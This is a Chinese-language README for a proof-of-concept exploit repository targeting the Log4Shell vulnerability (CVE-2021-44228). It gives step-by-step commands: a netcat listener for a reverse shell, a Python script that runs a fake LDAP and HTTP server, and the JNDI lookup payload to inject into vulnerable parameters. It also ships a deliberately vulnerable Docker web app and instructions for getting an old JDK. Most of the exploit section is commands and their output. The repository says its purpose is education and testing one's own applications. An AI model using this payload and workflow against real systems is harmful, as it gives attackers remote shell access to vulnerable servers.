log4j-shell-poc

针对近期发现的 CVE-2021-44228 漏洞的概念验证。

最近在 log4j（一个广泛用于 Elasticsearch、Minecraft 等众多场景的 Java 日志库）中发现了一个新漏洞。

本仓库包含一个示例漏洞应用及其概念验证（POC）利用代码。

概念验证（POC）

作为 PoC，这里有一个 Python 文件可自动化整个过程。

环境要求：

pip install -r requirements.txt

使用方法：

• 启动一个 netcat 监听器以接收反弹 Shell 连接。
  

nc -lvnp 9001

• 启动利用程序。
  备注： 需要将提取的 Java 归档文件命名为 jdk1.8.0_20，并放在同一目录下。

$ python3 poc.py --userip localhost --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github 仓库: https://github.com/kozmer/log4j-shell-poc

[+] 成功创建利用 Java 类
[+] 正在设置伪造的 LDAP 服务器

[+] 请向我发送：${jndi:ldap://localhost:1389/a}

正在监听 0.0.0.0:1389

此脚本将为您设置 HTTP 服务器和 LDAP 服务器，并创建可用于粘贴到易受攻击参数中的载荷。之后，如果一切顺利，您将获得 lport 上的一个 Shell。

漏洞应用

有一个包含漏洞 Web 应用的 Dockerfile。您可以通过以下步骤使用它：

1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc

运行后，您可以通过 localhost:8080 访问它。

获取 Java 版本

Oracle 很友好地提供了所有旧版 Java 版本的归档文件：
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html。
向下滚动到 8u20，并下载适合您操作系统和硬件的文件。

备注： 您需要注册一个账户才能下载该软件包。

下载并解压归档文件后，您可以在 jdk1.8.0_20/bin 中找到 java 和几个相关二进制文件。
备注： 请确保将 jdk 文件夹以相同名称解压到此仓库中，以便其正常工作。

❯ tar -xf jdk-8u20-linux-x64.tar.gz

❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)

免责声明

本仓库并非旨在成为针对 CVE-2021-44228 的一键利用工具。此项目的目的是帮助人们了解此漏洞，并可能测试他们自己的应用程序（但已有更适合此目的的应用，例如：https://log4shell.tools/）。